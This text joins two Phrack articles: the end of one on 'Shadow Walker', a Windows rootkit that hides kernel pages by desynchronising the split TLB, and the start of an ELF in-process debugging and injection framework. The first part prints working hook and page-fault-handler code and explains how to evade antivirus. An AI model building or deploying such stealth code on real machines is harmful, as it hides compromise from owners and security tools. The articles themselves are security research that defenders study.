[ Figure 5 ‑ Faking Read / Writes by Desynchronizing the Split TLB ]

‑‑‑‑[ 3.2 ‑ Hiding Pure Data

Hiding data modifications is significantly less optimal than hiding code modifications, but it can be accomplished provided that one is willing to accept the performance hit. We cause a minimal performance loss when hiding executable code by virtue of the fact that the ITLB can maintain a different mapping than the DTLB. Code can execute very fast with a minimum of page faults because that mapping is always present in the ITLB (except in the rare event the ITLB entry gets evicted from the cache). Unfortunately, in the case of data we can't introduce any such inconsistency. There is only 1 DTLB and consequently that DTLB has to be kept empty if we are to catch and filter specific data accesses. The end result is 1 page fault per data access. This is not be a big problem in terms of hiding a specific driver if the driver is carefully designed and uses a minimum of global data, but the performance hit could be formidable when trying to hide a frequently accessed data page.

For data hiding, we have used a protocol based approach between the hidden driver and the memory hook. We use this to show how one might hide global data in a rootkit driver. In order to allow the memory access to go throug the DTLB is loaded in the page fault handler. In order to enforce the correct filtering of data accesses, however, it must be flushed immediately by the requesting driver to ensure that no other code accesses that memory address and receives the data resulting from an incorrect mapping. The protocol for accessing data on a hidden page is as follows:

1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other code gets to run which might see the "hidden" data as opposed to the "fake" data).

2. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction. In the event that some other process has attempted to access our data page and been served with the fake frame (i.e. we don't want to receive the fake mapping which may still reside in the TLB so we clear it to be sure).

3. The driver is allowed to perform the data access.

4. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction (i.e. so that the "real" mapping does not remain in the TLB. We don't want any other drivers or processes receiving the hidden mapping so we clear it).

5. The driver lowers the IRQL to the previous level before it was raised.

The additional restriction also applies:

‑ No global data can be passed to kernel API functions. When calling an API, global data must be copied into local storage on the stack and passed into the API function (i.e. if the API accesses the cloaked variable it will receive fake data and perform incorrectly).

This protocol can be efficiently implemented in the hidden driver by having the driver copy all global data over into local variables at the beginning of the routine and then copy the data back after the function body has completed executing. Because stack data is in a constant state of flux, it is unlikely that a signature could be reliably obtained from global data on the stack. In this way, there is no need to cause a page fault on every global access. In general, only one page fault is required to copy over the data at the beginning of the routine and one fault to copy the data back at the end of the routine. Admittedly, this disregards more complex issues involved with multithreaded access and synchronization. An alternative approach to using a protocol between the driver and PF handler would be to single step the instruction causing the memory access. This would be less cumbersome for the driver and yet allow the PF handler to maintain control of the DTLB (ie. to flush it after the data access so that it remains empty).

‑‑‑‑[ 3.3 ‑ Related Work

Ironically, the memory cloaking technology discussed in this article is derived from an existing stack overflow protection scheme known as PaX . As such, we demonstrate a potentially offensive application of an originally defensive technology. Though very similar (i.e. taking advantage of the Pentium split TLB architecture), there are subtle differences between PaX and the rootkit application of the technology. Whereas our memory cloaked rootkit enforces execute, diverted read / write semantics, PaX enforces read / write, no execute semantics. This enables PaX to provide software support for a non executable stack under the IA‑32 architecture, thereby thwarting a large class of stack based buffer overflow attacks. When a PaX protected system detects an attempted execute in a read / write only range of memory, it terminates the offending process. Hardware support for non executable memory has subsequently been added to the page table entry format for some processors including IA‑64 and pentium 4. In contrast to PaX, our rootkit handler allows execution to proceed normally while diverting read / write accesses to the hidden page off to an innocent appearing shadow page. Finally, it should be noted that PaX uses the PTE user / supervisor bit to generate the page faults required to enforce its protection. This limits it to protection of solely user mode pages which is an impractical limitation for a kernel mode rootkit. As such, we use the PTE present / not present bit in our implementation.

‑‑‑‑[ 3.4 ‑ Proof Of Concept Implementation

Our current implementation uses a modified FU rootkit and a new page fault handler called Shadow Walker. Since FU alters kernel data structures to hide processes and does not utilize any code hooks, we only had to be concerned with hiding the FU driver in memory. The kernel accounts for every process running on the system by storing an object called an EPROCESS block for each process in an internal linked list. FU disconnects the process it wants to hide from this linked list.

‑‑‑‑‑‑[ 3.4.a ‑ Modified FU Rootkit

We modified the current version of the FU rootkit taken from rootkit.com. In order to make it more stealthy, its dependence on a userland initialization program was removed. Now, all setup information in the form of OS dependant offsets are derived with a kernel level function. By removing the userland portion, we eliminated the need to create a symbolic link to the driver and the need to create a functional device, both of which are easily detected. Once FU is installed, its image on the file system can be deleted so all anti‑virus scans on the file system will fail to find it. You can also imagine that FU could be installed from a kernel exploit and loaded into memory thereby avoiding any image on disk detection. Also, FU hides all processes whose names are prefixed with _fu_ regardless of the process ID (PID). We create a System thread that continually scans this list of processes looking for this prefix. FU and the memory hook, Shadow Walker, work in collusion; therefore, FU relies on Shadow Walker to remove the driver from the linked list of drivers in memory and from the Windows Object Manager's driver directory.

‑‑‑‑[ 3.4.b ‑ Shadow Walker Memory Hook Engine

Shadow Walker consists of a memory hook installation module and a new page fault handler. The memory hook module takes the virtual address of the page to be hidden as a parameter. It uses the information contained in the address to perform a few sanity checks. Shadow Walker then installs the new page fault handler by hooking Int 0E (if it has not been previously installed) and inserts the information about the hidden page into a hash table so that it can be looked up quickly on page faults. Lastly, the PTE for the page is marked non present and the TLB entry for the hidden page is flushed. This ensures that all subsequent accesses to the page are filtered by the new page fault handler.

/***************************************

* HookMemoryPage ‑ Hooks a memory page by marking it not present

* and flushing any entries in the TLB. This ensure * that all subsequent memory accesses will generate * page faults and be filtered by the page fault handler. *

* Parameters:

* PVOID pExecutePage ‑ pointer to the page that will be used on * execute access

*

* PVOID pReadWritePage ‑ pointer to the page that will be used to load

* the DTLB on data access *

*

* PVOID pfnCallIntoHookedPage ‑ A void function which will be called

* from within the page fault handler to

* to load the ITLB on execute accesses

*

* PVOID pDriverStarts (optional) ‑ Sets the start of the valid range

* for data accesses originating from

* within the hidden page.

*

* PVOID pDriverEnds (optional) ‑ Sets the end of the valid range for

* data accesses originating from within

* the hidden page.

* Return ‑ None

****************************************

void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, PVOID pDriverEnds )

{

HOOKED_LIST_ENTRY HookedPage = {0};

HookedPage.pExecuteView = pExecutePage;

HookedPage.pReadWriteView = pReadWritePage; HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;

if( pDriverStarts != NULL)

HookedPage.pDriverStarts = (ULONG)pDriverStarts; else

HookedPage.pDriverStarts = (ULONG)pExecutePage;

if( pDriverEnds != NULL)

HookedPage.pDriverEnds = (ULONG)pDriverEnds;

else

{ //set by default if pDriverEnds is not specified

if( IsInLargePage( pExecutePage ) ) HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; else

HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + PAGE_SIZE;

}//end if

__asm cli //disable interrupts

if( hooked == false )

{ HookInt( &g_OldInt0EHandler, (unsigned long)NewInt0EHandler, 0x0E );

hooked = true;

}//end if

HookedPage.pExecutePte = GetPteAddress( pExecutePage ); HookedPage.pReadWritePte = GetPteAddress( pReadWritePage );

//Insert the hooked page into the list

PushPageIntoHookedList( HookedPage );

//Enable the global page feature

EnableGlobalPageFeature( HookedPage.pExecutePte );

//Mark the page non present

MarkPageNotPresent( HookedPage.pExecutePte );

//Go ahead and flush the TLBs. We want to guarantee that all

//subsequent accesses to this hooked page are filtered

//through our new page fault handler.

__asm invlpg pExecutePage

__asm sti //reenable interrupts

}//end HookMemoryPage

The functionality of the page fault handler is relatively straight forward despite the seeming complexity of the scheme. Its primary functions are to determine if a given page fault is originating from a hooked page, resolve the access type, and then load the appropriate TLB. As such, the page fault handler has basically two execution paths. If the page is unhooked, it is passed down to the operating system page fault handler. This is determined as quickly and efficiently as possible. Faults originating from user mode addresses or while the processor is running in user mode are immediately passed down. The fate of kernel mode accesses is also quickly decided via a hash table lookup. Alternatively, once the page has been determined to be hooked the access type is checked and directed to the appropriate TLB loading code (Execute accesses will cause a ITLB load while Read / Write accesses cause a DTLB load). The procedure for TLB loading is as follows:

1. The appropriate physical frame mapping is loaded into the PTE for the

faulting address.

2. The page is temporarily marked present.

3. For a DTLB load, a memory read on the hooked page is performed. 4. For an ITLB load, a call into the hooked page is performed.

5. The page is marked as non present again.

6. The old physical frame mapping for the PTE is restored.

After TLB loading, control is directly returned to the faulting code.

/***************************************

* NewInt0EHandler ‑ Page fault handler for the memory hook engine (aka. the * guts of this whole thing ;)

*

* Parameters ‑ none

*

* Return ‑ none

*

****************************************

void __declspec( naked ) NewInt0EHandler(void)

{

__asm

{

pushad

mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode

test edx, 0x04 //if the processor was in user mode, then

jnz PassDown //pass it down

mov eax,cr2 //faulting virtual address

cmp eax, HIGHEST_USER_ADDRESS

jbe PassDown //we don't hook user pages, pass it down

////////////////////////

//Determine if it's a hooked page

////////////////////////

push eax

call FindPageInHookedList

mov ebp, eax //pointer to HOOKED_PAGE structure

cmp ebp, ERROR_PAGE_NOT_IN_LIST

jz PassDown //it's not a hooked page

////////////////////////

//NOTE: At this point we know it's a

//hooked page. We also only hook

//kernel mode pages which are either

//non paged or locked down in memory

//so we assume that all page tables

//are resident to resolve the address

//from here on out.

////////////////////////

mov eax, cr2

mov esi, PROCESS_PAGE_DIR_BASE

mov ebx, eax

shr ebx, 22

lea ebx, [esi + ebx*4] //ebx = pPTE for large page

test [ebx], 0x80 //check if its a large page

jnz IsLargePage

mov esi, PROCESS_PAGE_TABLE_BASE

mov ebx, eax

shr ebx, 12

lea ebx, [esi + ebx*4] //ebx = pPTE

IsLargePage:

cmp [esp+0x24], eax //Is due to an attepmted execute?

jne LoadDTLB

////////////////////////

// It's due to an execute. Load

// up the ITLB.

////////////////////////

cli

or dword ptr [ebx], 0x01 //mark the page present

call [ebp].pfnCallIntoHookedPage //load the itlb

and dword ptr [ebx], 0xFFFFFFFE //mark page not present

sti

jmp ReturnWithoutPassdown

////////////////////////

// It's due to a read /write

// Load up the DTLB

////////////////////////

////////////////////////

// Check if the read / write

// is originating from code

// on the hidden page.

////////////////////////

LoadDTLB:

mov edx, [esp+0x24] //eip

cmp edx,[ebp].pDriverStarts

jb LoadFakeFrame

cmp edx,[ebp].pDriverEnds

ja LoadFakeFrame

////////////////////////

// If the read /write is originating

// from code on the hidden page,then

// let it go through. The code on the

// hidden page will follow protocol

// to clear the TLB after the access.

////////////////////////

cli

or dword ptr [ebx], 0x01 //mark the page present

mov eax, dword ptr [eax] //load the DTLB

and dword ptr [ebx], 0xFFFFFFFE //mark page not present

sti

jmp ReturnWithoutPassdown

////////////////////////

// We want to fake out this read

// write. Our code is not generating

// it.

////////////////////////

LoadFakeFrame:

mov esi, [ebp].pReadWritePte

mov ecx, dword ptr [esi] //ecx = PTE of the

read / write page

//replace the frame with the fake one

mov edi, [ebx]

and edi, 0x00000FFF //preserve the lower 12 bits of the

//faulting page's PTE

and ecx, 0xFFFFF000 //isolate the physical address in

//the "fake" page's PTE

or ecx, edi

mov edx, [ebx] //save the old PTE so we can replace it

cli

mov [ebx], ecx //replace the faulting page's phys frame

//address w/ the fake one

//load the DTLB

or dword ptr [ebx], 0x01 //mark the page present

mov eax, cr2 //faulting virtual address

mov eax, dword ptr[eax] //do data access to load DTLB

and dword ptr [ebx], 0xFFFFFFFE //re‑mark page not present

//Finally, restore the original PTE

mov [ebx], edx

sti

ReturnWithoutPassDown:

popad

add esp,4

iretd

PassDown:

popad

jmp g_OldInt0EHandler

}//end asm

}//end NewInt0E

‑‑[ 4 ‑ Known Limitations & Performance Impact

As our current rootkit is intended only as a proof of concept demonstration rather than a fully engineered attack tool, it possesses a number of implementational limitations. Most of this functionality could be added, were one so inclined. First, there is no effort to support hyperthreading or multiple processor systems. Additionally, it does not support the Pentium PAE addressing mode which extends the number of physically addressable bits from 32 to 36. Finally, the design is limited to cloaking only 4K sized kernel mode pages (i.e. in the upper 2 GB range of the memory address space). We mention the 4K page limitation because there are currently some technical issues with regard to hiding the 4MB page upon which ntoskrnl resides. Hiding the page containing ntoskrnl would be a noteworthy extension. In terms of performance, we have not completed rigorous testing, but subjectively speaking there is no noticeable performance impact after the rootkit and memory hooking engine are installed. For maximum performance, as mentioned previously, code and data should remain on separate pages and the usage of global data should be minimized to limit the impact on performance if one desires to enable both data and executable page cloaking.

‑‑[ 5 ‑ Detection

There are at least a few obvious weaknesses that must be dealt with to avoid detection. Our current proof of concept implementation does not address them, however, we note them here for the sake of completeness. Because we must be able to differentiate between normal page faults and those faults related to the memory hook, we impose the requirement that hooked pages must reside in non paged memory. Clearly, non present pages in non paged memory present an abnormality. Weather or not this is a sufficient heuristic to call a rootkit alarm is, however, debatable. Locking down pagable memory using an API like MmProbeAndLockPages is probably more stealthy. The next weakness lies in the need to disguise the presence of the page fault handler. Because the page where the page fault handler resides cannot be marked non present due to the obvious issues with recursive reentry, it will be vulnerable to a simple signature scan and must be obsfucated using more traditional methods. Since this routine is small, written in ASM, and does not rely upon any kernel API's, polymorphism would be a reasonable solution. A related weakness arises in the need to disguise the presence of the IDT hook. We cannot use our memory hooking technique to disguise the modifications to the interrupt descriptor table for similar reasons as the page fault handler. While we could hook the page fault interrupt via an inline hook rather than direct IDT modification, placing a memory hook on the page containing the OS's INT 0E handler is problematic and inline hooks are easily detected. Joanna Rutkowska proposed using the debug registers to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a completey effective solution [12]. This is due to the fact that debug registersprotect virtual as opposed to physical addresses. One may simply remap the physical frame containing the IDT to a different virtual address and read / write the IDT memory as one pleases. Shadow Walker falls prey to this type of attack as well, based as it is, upon the exploitation of virtual rather than physical memory. Despite this aknowleged weakness, most commercial security scanners still perform virtual rather than physical memory scans and will be fooled by rootkits like Shadow Walker. Finally, Shadow Walker is insidious. Even if a scanner detects Shadow Walker, it will be virtually helpless to remove it on a running system. Were it to successfully over‑write the hook with the original OS page fault handler, for example, it would likely BSOD the system because there would be some page faults occurring on the hidden pages which neither it nor the OS would know how to handle.

‑‑[ 6 ‑ Conclusion

Shadow Walker is not a weaponized attack tool. Its functionality is limited and it makes no effort to hide it's hook on the IDT or its page fault handler code. It provides only a practical proof of concept implementation of virtual memory subversion. By inverting the defensive software implementation of non executalbe memory, we show that it is possible to subvert the view of virtual memory relied upon by the operating system and almost all security scanner applications. Due to its exploitation of the TLB architecture, Shadow Walker is transparent and exhibits an extremely light weight performance hit. Such characteristics will no doubt make it an attractive solution for viruses, worms, and spyware applications in addition to rootkits.

‑‑[ 7 ‑ References

1. Tripwire, Inc. http://www.tripwire.com/

2. Butler, James, VICE ‑ Catch the hookers! Black Hat, Las Vegas, July, 2004. www.blackhat.com/presentations/bh‑usa‑04/bh‑us‑04‑butler/ bh‑us‑04‑butler.pdf

3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12

4. Holy Father, Hacker Defender. http://hxdef.czweb.org/

5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder 2. January, 2004.

6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows Kernel. July, 2005.

7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml

8. F‑Secure BlackLight (Helsinki, Finland: F‑Secure Corporation, 2005): www.fsecure.com/blacklight/

9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0 http://www.eeye.com/~data/publish/whitepapers/research/

OT20050205.FILE.pdf

10. Chong, S.K. Windows Local Kernel Exploitation. http://www.bellua.com/bcs2005/asia05.archive/

BCSASIA2005‑T04‑SK‑Windows_Local_Kernel_Exploitation.ppt

11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security Symposium 2004.

12. Barbosa, Edgar. Avoiding Windows Rootkit Detection http://packetstormsecurity.org/filedesc/bypassEPA.pdf

13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003 http://www.invisiblethings.org/papers/chameleon_concepts.pdf

14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth Edition.

‑‑[ 8 ‑ Aknowlegements

Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project paper as it was one of the inspirations for this project, to the PAX team for showing how to desynchronize the TLB in their software implementation of non executable memory, to Halvar Flake for our inital discussions of the Shadow Walker idea, and to Kayaker for helping beta test and debug some of the code. We would finally like to extend our greetings to

all of the contributors on rootkit.com :)

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Embedded ELF Debugging

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x09 of 0x14

|=‑‑‑‑‑‑=[ Embedded ELF Debugging : the middle head of Cerberus ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ The ELF shell crew <elfsh@devhell.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I. Hardened software debugging introduction

a. Previous work & limits

b. Beyond PaX and ptrace()

c.Interface improvements

II. The embedded debugging playground

a. In‑process injection

b. Alternate ondisk and memory ELF scripting (feat. linkmap) c. Real debugging : dumping, backtrace, breakpoints d. A note on dynamic analyzers generation

III. Better multiarchitecture ELF redirections

a. CFLOW: PaX‑safe static functions redirection

b. ALTPLT technique revised

c. ALTGOT technique : the RISC complement

d. EXTPLT technique : unknown function postlinking e. IA32, SPARC32/64, ALPHA64, MIPS32 compliant algorithms V. Constrained Debugging

a. ET_REL relocation in memory

b. ET_REL injection for Hardened Gentoo (ET_DYN + pie + ssp) c. Extending static executables

d. Architecture independant algorithms

VI. Past and present

VII. Greetings

VIII. References

‑‑‑‑‑‑‑[ I. Hardened software debugging introduction

In the past, binary manipulation work has focussed on virii writing, software cracking, backdoors deployment, or creation of tiny or obfuscated executables. Besides the tools from the GNU project such as the GNU binutils that includes the GNU debugger [1] (which focus more on portability than functionalities), no major binary manipulation framework does exist. For almost ten years, the ELF format has been a success and most UNIX Operating Systems and distributions rely on it.

However, the existing tools do not take advantage of the format and most of the reverse engineering or debugging softwares are either very architecture specific, or simply do not care about binary internals for extracting and redirecting information.

Since our first published work on the ELF shell, we improved so much the new framework that it is now time to publish a second deep article focussing on advances in static and runtime ELF techniques. We will explain in great details the 8 new binary manipulation functionalities that intersect with the existing reverse engineering methodology. Those techniques allow for a new type of approach on debugging and extending closed source software in hardened environments.

We worked on many architectures (x86, alpha, sparc, mips) and focussed on constrained environments where binaries are linked for including security protections (such as hardened gentoo binaries) in PaX [2] protected machines. It means that our debugger can stay safe if it is injected inside a (local or) remote process.

‑‑‑‑[ A. Previous work & limits

In the first part of the Cerberus articles serie, we introduced a new residency technique called ET_REL injection. It consisted in compiling C code into relocatable (.o) files and injecting them into existing closed source binary programs. This technique was proposed for INTEL and SPARC architectures on the ELF32 format.

We improved this technique so that both 32 and 64 bits binaries are supported so we added alpha64 and sparc64 support. We also worked on the MIPS r5000 architecture and now provide a nearly complete environment for it as well. We now also allow for ET_REL injection into ET_DYN objects (shared libraries) so that our technique is compatible with fully randomized environments such as provided by Hardened Gentoo with the PaX protection enabled on the Linux Operating System. We also worked on other OS such as BSD based ones, Solaris, and HP‑UX and the code was compiled and tested regulary on those as well.

A major innovation of our binary manipulation based debugging framework is the absence of ptrace. We do not use kernel residency like in [8] so that even unprivilegied users can use this and it is not Operating System dependent.

Existing debuggers use to rely on the ptrace system call so that the debugger process can attach the debuggee program and enable various internal processes manipulations such as dumping memory, putting breakpoints, backtracing, and so on. We propose the same features without using the system call.

The reasons why we do not use ptrace are multiple and simple. First of all, a lot of hardened or embedded systems do not implement it, or just disable it. That's the case for grsecurity based systems, production systems, or phone systems whoose Operating System is ELF based but without a ptrace interface.

The second major reason for not using ptrace is the performance penalties of such a debugging system. We do not suffer from performance penalties since the debugger resides in the same process. We provide a full userland technique that does not have to access the kernel memory, thus it is useful in all stages of a penetration testing when debugging sensitive software on hardened environment is needed and no system update is possible.

We allow for plain C code injection inside new binary files (in the static perspective) and processes (in the runtime mode) using a unified software. When requested, we only use ELF techniques that reduce forensics evidences on the disk and only works in memory.

‑‑‑‑[ B. Beyond PaX and ptrace

Another key point in our framework are the greatly improved redirection techniques. We can redirect almost all control flow, wether or not the function code is placed inside the binary itself (CFLOW technique) or in a library on which the binary depends (Our previous work presented new hijacking techniques such that ALTPLT).

We improved this techniques and passed through many rewrites and now allow a complete architecture independant implementation. We completed ALTPLT by a new technique called ALTGOT so that hijacking a function and calling back the original copy from the hooking function is possible on Alpha and Mips RISC machines as well.

We also created a new technique called EXTPLT which allow for unknown function (for which no dynamic linking information is available at all in the ELF file) using a new postlinking algorithm compatible with ET_EXEC and ET_DYN objets.

‑‑‑‑[ C. Interface improvements

Our Embedded ELF debugger implementation is a prototype. Understand that it is really usable but we are still in the development process. All the code presented here is known to work. However we are not omniscient and you might encounter a problem. In that case, drop us an email so that we can figure out how to create a patch.

The only assumption that we made is the ability to read the debuggee program. In all case, you can also debug in memory the unreadable binaries on disk by loading the debugger using the LD_PRELOAD variable. Nevertheless, e2dbg is enhanced when binary files are readable. Because the debugger run in the same address space, you can still read memory [3] [4] and restore the binary program even though we do not implement it yet.

The central communication language in the Embedded ELF Debugger (e2dbg) framework is the ELFsh scripting language. We augmented it with loop and conditional control flow, transparent support for lazy typed variables (like perl). The source command (for executing a script inside the current session) and user‑defined macros (scriptdir command) are also supported.

We also developed a peer2peer stack so called Distributed Update Management Protocol ‑ DUMP ‑ that allow for linking multiple debugger instances using the network, but this capability is not covered by the article. For completeness, we now support multiusers (parallel or shared) sessions and environment swapping using the workspace command.

We will go through the use of such interface in the first part of the paper. In the second part, we give technical details about the implementation of such features on multiple architectures. The last part is dedicated to the most recent and advanced techniques we developed in the last weeks for constrained debugging in protected binaries. The last algorithms of the paper are architecture independant and constitute the core of the relocation engine in ELFsh.

‑‑‑‑‑‑‑[ II. The embedded debugging playground

‑‑‑[ A. In‑process injection

We have different techniques for injecting the debugger inside the debuggee process. Thus it will share the address space and the debugger will be able to read its own data and code for getting (and changing) information in the debuggee process.

Because the ELF shell is composed of 40000 lines of code, we did not want to recode everything for allowing process modification. We used some trick that allow us to select wether the modifications are done in memory or on disk. The trick consists in 10 lines of code. Considering the PROFILE macros not beeing mandatory, here is the exact stuff :

(libelfsh/section.c)

========= BEGIN DUMP 0 =========

void *elfsh_get_raw(elfshsect_t *sect)

{

ELFSH_PROFILE_IN(__FILE__, __FUNCTION__, __LINE__);

/* sect‑>parent‑>base is always NULL for ET_EXEC */

if (elfsh_is_debug_mode())

{

sect‑>pdata = (void *) sect‑>parent‑>base + sect‑>shdr‑>sh_addr; ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect‑>pdata)); }

if (sect)

ELFSH_PROFILE_ROUT(__FILE__, __FUNCTION__, __LINE__, (sect‑>data));

ELFSH_PROFILE_ERR(__FILE__, __FUNCTION__, __LINE__, "Invalid parameter", NULL);

}

========= END DUMP 0 =========

What is the technique about ? It is quite simple : if the debugger internal flag is set to static mode (on‑disk modification), then we return the pointer on the ELFsh internal data cache for the section data we want to access.

However if we are in dynamic mode (process modification), then we just return the address of that section. The debugger runs in the same process and thus will think that the returned address is a readable (or writable) buffer. We can reuse all the ELF shell API by just taking care of using the elfsh_get_raw() function when accessing the ‑>data pointer. The process/ondisk selection is then transparent for all the debugger/elfsh code.

The idea of injecting code directly inside the process is not new and we studied it for some years now. Embedded code injection is also used in the Windows cracking community [12] for bypassing most of the protections against tracing and debugging, but nowhere else we have seen an implementation of a full debugger, capable of such advanced features like ET_REL injection or function redirection on multiple architectures, both on disk and in memory, with a single code.

‑‑‑[ B. Alternate ondisk and memory ELF scripting (feat. linkmap)

We have 2 approaches for inserting the debugger inside the debuggee program. When using a DT_NEEDED entry and redirecting the main debuggee function onto the main entry point of the ET_DYN debugger, we also inject various sections so that we can perform core techniques such as EXTPLT. That will be described in details in the next part.

The second approach is about using LD_PRELOAD on the debuggee program and putting breakpoints (either by 0xCC opcode on x86 or the equivalent opcode on another architecture, or by function redirection which is available on many architectures and for many kind of functions in the framework).

Since binary modification is needed anyway, we are using the DT_NEEDED technique for adding the library dependance, and all other sections injections or redirection described in this article, before starting the real debugging.

The LD_PRELOAD technique is particulary more useful when you cannot read the binary you want to debug. It is left to the user the choice of debugger injection technique, depending on the needs of the moment.

Let's see how to use the embedded debugger and its 'mode' command that does the memory/disk selection. Then we print the Global Offset Table (.got). First the memory GOT is displayed, then we get back in static mode and the ondisk GOT is printed :

========= BEGIN DUMP 1 =========

(e2dbg‑0.65) list

.::. Working files .::.

[001] Sun Jul 31 19:23:33 2005 D ID: 9 /lib/libncurses.so.5 [002] Sun Jul 31 19:23:33 2005 D ID: 8 /lib/libdl.so.2 [003] Sun Jul 31 19:23:33 2005 D ID: 7 /lib/libtermcap.so.2 [004] Sun Jul 31 19:23:33 2005 D ID: 6 /lib/libreadline.so.5 [005] Sun Jul 31 19:23:33 2005 D ID: 5 /lib/libelfsh.so [006] Sun Jul 31 19:23:33 2005 D ID: 4 /lib/ld‑linux.so.2 [007] Sun Jul 31 19:23:33 2005 D ID: 3 ./ibc.so.6 # e2dbg.so renamed [008] Sun Jul 31 19:23:33 2005 D ID: 2 /lib/tls/libc.so.6 [009] Sun Jul 31 19:23:33 2005 *D ID: 1 ./a.out_e2dbg # debuggee

.::. ELFsh modules .::.

[*] No loaded module

(e2dbg‑0.65) mode

[*] e2dbg is in DYNAMIC MODE

(e2dbg‑0.65) got

[Global Offset Table .::. GOT : .got ]

[Object ./a.out_e2dbg]

0x080498E4: [0] 0x00000000 <?>

[Global Offset Table .::. GOT : .got.plt ]

[Object ./a.out_e2dbg]

0x080498E8: [0] 0x0804981C <_DYNAMIC@a.out_e2dbg> 0x080498EC: [1] 0x00000000 <?>

0x080498F0: [2] 0x00000000 <?>

0x080498F4: [3] 0x0804839E <fflush@a.out_e2dbg> 0x080498F8: [4] 0x080483AE <puts@a.out_e2dbg> 0x080498FC: [5] 0x080483BE <malloc@a.out_e2dbg> 0x08049900: [6] 0x080483CE <strlen@a.out_e2dbg> 0x08049904: [7] 0x080483DE <__libc_start_main@a.out_e2dbg> 0x08049908: [8] 0x080483EE <printf@a.out_e2dbg> 0x0804990C: [9] 0x080483FE <free@a.out_e2dbg> 0x08049910: [10] 0x0804840E <read@a.out_e2dbg>

[Global Offset Table .::. GOT : .elfsh.altgot ]

[Object ./a.out_e2dbg]

0x08049928: [0] 0x0804981C <_DYNAMIC@a.out_e2dbg> 0x0804992C: [1] 0xB7F4A4E8 <_r_debug@ld‑linux.so.2 + 24> 0x08049930: [2] 0xB7F3EEC0 <_dl_rtld_di_serinfo@ld‑linux.so.2 + 477> 0x08049934: [3] 0x0804839E <fflush@a.out_e2dbg> 0x08049938: [4] 0x080483AE <puts@a.out_e2dbg> 0x0804993C: [5] 0xB7E515F0 <__libc_malloc@libc.so.6> 0x08049940: [6] 0x080483CE <strlen@a.out_e2dbg> 0x08049944: [7] 0xB7E01E50 <__libc_start_main@libc.so.6> 0x08049948: [8] 0x080483EE <printf@a.out_e2dbg> 0x0804994C: [9] 0x080483FE <free@a.out_e2dbg> 0x08049950: [10] 0x0804840E <read@a.out_e2dbg> 0x08049954: [11] 0xB7DAFFF6 <e2dbg_run@ibc.so.6>

(e2dbg‑0.65) mode static

[*] e2dbg is now in STATIC mode

(e2dbg‑0.65) # Here we switched in ondisk perspective (e2dbg‑0.65) got

[Global Offset Table .::. GOT : .got ]

[Object ./a.out_e2dbg]

0x080498E4: [0] 0x00000000 <?>

[Global Offset Table .::. GOT : .got.plt ]

[Object ./a.out_e2dbg]

0x080498E8: [0] 0x0804981C <_DYNAMIC>

0x080498EC: [1] 0x00000000 <?>

0x080498F0: [2] 0x00000000 <?>

0x080498F4: [3] 0x0804839E <fflush>

0x080498F8: [4] 0x080483AE <puts>

0x080498FC: [5] 0x080483BE <malloc>

0x08049900: [6] 0x080483CE <strlen>

0x08049904: [7] 0x080483DE <__libc_start_main> 0x08049908: [8] 0x080483EE <printf>

0x0804990C: [9] 0x080483FE <free>

0x08049910: [10] 0x0804840E <read>

[Global Offset Table .::. GOT : .elfsh.altgot ]

[Object ./a.out_e2dbg]

0x08049928: [0] 0x0804981C <_DYNAMIC>

0x0804992C: [1] 0x00000000 <?>

0x08049930: [2] 0x00000000 <?>

0x08049934: [3] 0x0804839E <fflush>

0x08049938: [4] 0x080483AE <puts>

0x0804993C: [5] 0x080483BE <malloc>

0x08049940: [6] 0x080483CE <strlen>

0x08049944: [7] 0x080483DE <__libc_start_main> 0x08049948: [8] 0x080483EE <printf>

0x0804994C: [9] 0x080483FE <free>

0x08049950: [10] 0x0804840E <read>

0x08049954: [11] 0x0804614A <e2dbg_run + 6>

========= END DUMP 1 =========

There are many things to notice in this dump. First you can verify that it actually does what it is supposed to by looking the first GOT entries which are reserved for the linkmap and the rtld dl‑resolve function. Those entries are filled at runtime, so the static GOT version contains NULL pointers for them. However the GOT which stands in memory has them filled.

Also, the new version of the GNU linker does insert multiple GOT sections inside ELF binaries. The .got section handles the pointer for external variables, while .got.plt handles the external function pointers. In earlier versions of LD, those 2 sections were merged. We support both conventions.

Finally, you can see in last the .elfsh.altgot section. That is part of the ALTGOT technique and it will be explained as a standalone algorithm in the next parts of this paper. The ALTGOT technique allow for a size extension of the Global Offset Table. It allows different things depending on the architecture. On x86, ALTGOT is only used when EXTPLT is used, so that we can add extra function to the host file. On MIPS and ALPHA, ALTGOT allows to redirect an extern (PLT) function without losing the real function address. We will develop both of these techniques in the next parts.

‑‑‑[ C. Real debugging : dumping, backtrace, breakpoints

